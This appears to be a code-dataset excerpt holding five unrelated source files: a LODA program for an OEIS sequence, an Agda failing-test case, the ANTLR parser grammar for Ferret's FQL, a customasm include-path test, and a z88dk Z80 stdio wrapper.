programs/oeis/085/A085741.asm | neoneye/loda | 22 | 1898 | <reponame>neoneye/loda
; A085741: a(n) = T(n)^n, where T() are the triangular numbers (A000217).
; 1,1,9,216,10000,759375,85766121,13492928512,2821109907456,756680642578125,253295162119140625,103510234140112521216,50714860157241037295616,29345269354638035222576971,19799315994393973883056640625,15407021574586368000000000000000,13696907849916094763278545543233536
sub $1,$0
bin $1,2
pow $1,$0
mov $0,$1
|
test/fail/Issue381.agda | asr/agda-kanso | 1 | 16964 | -- {-# OPTIONS -v scope.let:10 #-}
module Issue381 (A : Set) where
data _≡_ (x : A) : A → Set where
refl : x ≡ x
id : A → A
id x = let abstract y = x in y
-- abstract in let should be disallowed
lemma : ∀ x → id x ≡ x
lemma x = refl |
pkg/parser/antlr/FqlParser.g4 | esell/ferret | 0 | 733 | parser grammar FqlParser;
options { tokenVocab=FqlLexer; }
program
: body
;
body
: (bodyStatement)* bodyExpression
;
bodyStatement
: functionCallExpression
| variableDeclaration
;
bodyExpression
: returnExpression
| forExpression
;
returnExpression
: Return (Distinct)? expression
| Return (Distinct)? OpenParen forExpression CloseParen
| Return forTernaryExpression
;
forExpression
: For forExpressionValueVariable (Comma forExpressionKeyVariable)? In forExpressionSource
(forExpressionClause)*
(forExpressionBody)*
forExpressionReturn
;
forExpressionValueVariable
: Identifier
;
forExpressionKeyVariable
: Identifier
;
forExpressionSource
: functionCallExpression
| arrayLiteral
| objectLiteral
| variable
| memberExpression
| rangeOperator
| param
;
forExpressionClause
: limitClause
| sortClause
| filterClause
| collectClause
;
filterClause
: Filter expression
;
limitClause
: Limit IntegerLiteral (Comma IntegerLiteral)?
;
sortClause
: Sort sortClauseExpression (Comma sortClauseExpression)*
;
sortClauseExpression
: expression SortDirection?
;
collectClause
: Collect collectVariable Assign expression
| Collect collectVariable Assign expression Into collectGroupVariable
| Collect collectVariable Assign expression Into collectGroupVariable Keep collectKeepVariable
| Collect collectVariable Assign expression With Count collectCountVariable
| Collect collectVariable Assign expression Aggregate collectAggregateVariable Assign collectAggregateExpression
| Collect Aggregate collectAggregateVariable Assign collectAggregateExpression
| Collect With Count Into collectCountVariable
;
collectVariable
: Identifier
;
collectGroupVariable
: Identifier
;
collectKeepVariable
: Identifier
;
collectCountVariable
: Identifier
;
collectAggregateVariable
: Identifier
;
collectAggregateExpression
: expression
;
collectOption
:
;
forExpressionBody
: variableDeclaration
| functionCallExpression
;
forExpressionReturn
: returnExpression
| forExpression
;
variableDeclaration
: Let Identifier Assign expression
| Let Identifier Assign OpenParen forExpression CloseParen
| Let Identifier Assign forTernaryExpression
;
param
: Param Identifier
;
variable
: Identifier
;
rangeOperator
: (integerLiteral | variable | param) Range (integerLiteral | variable | param)
;
arrayLiteral
: OpenBracket arrayElementList? CloseBracket
;
objectLiteral
: OpenBrace (propertyAssignment (Comma propertyAssignment)*)? Comma? CloseBrace
;
booleanLiteral
: BooleanLiteral
;
stringLiteral
: StringLiteral
;
integerLiteral
: IntegerLiteral
;
floatLiteral
: FloatLiteral
;
noneLiteral
: Null
| None
;
arrayElementList
: expression (Comma + expression)*
;
propertyAssignment
: propertyName Colon expression
| computedPropertyName Colon expression
| shorthandPropertyName
;
memberExpression
: Identifier (Dot propertyName (computedPropertyName)*)+
| Identifier computedPropertyName (Dot propertyName (computedPropertyName)*)* (computedPropertyName (Dot propertyName)*)*
;
shorthandPropertyName
: variable
;
computedPropertyName
: OpenBracket expression CloseBracket
;
propertyName
: Identifier
;
expressionSequence
: expression (Comma expression)*
;
functionCallExpression
: Identifier arguments
;
arguments
: OpenParen(expression (Comma expression)*)?CloseParen
;
expression
: expression equalityOperator expression
| expression logicalOperator expression
| expression mathOperator expression
| functionCallExpression
| OpenParen expressionSequence CloseParen
| Plus expression
| Minus expression
| expression arrayOperator (Not)? (inOperator | equalityOperator) expression
| expression (Not)? inOperator expression
| Not expression
| expression QuestionMark expression? Colon expression
| rangeOperator
| stringLiteral
| integerLiteral
| floatLiteral
| booleanLiteral
| arrayLiteral
| objectLiteral
| variable
| memberExpression
| noneLiteral
| param
;
forTernaryExpression
: expression QuestionMark expression? Colon OpenParen forExpression CloseParen
| expression QuestionMark OpenParen forExpression CloseParen Colon expression
| expression QuestionMark OpenParen forExpression CloseParen Colon OpenParen forExpression CloseParen
;
arrayOperator
: All
| Any
| None
;
inOperator
: In
;
equalityOperator
: Gt
| Lt
| Eq
| Gte
| Lte
| Neq
;
logicalOperator
: And
| Or
;
mathOperator
: Plus
| Minus
| Multi
| Div
| Mod
;
unaryOperator
: Not
| Plus
| Minus
| Like
; |
tests/include_directory/8.asm | NullMember/customasm | 414 | 19375 | <reponame>NullMember/customasm
#include "../cpu.asm" ; error: out of project directory |
libsrc/_DEVELOPMENT/stdio/c/sdcc_ix/fileno_unlocked_fastcall.asm | meesokim/z88dk | 0 | 168961 | <reponame>meesokim/z88dk<gh_stars>0
; int fileno_unlocked_fastcall(FILE *stream)
SECTION code_stdio
PUBLIC _fileno_unlocked_fastcall
EXTERN asm_fileno_unlocked
_fileno_unlocked_fastcall:
push hl
ex (sp),ix
call asm_fileno_unlocked
pop ix
ret
|
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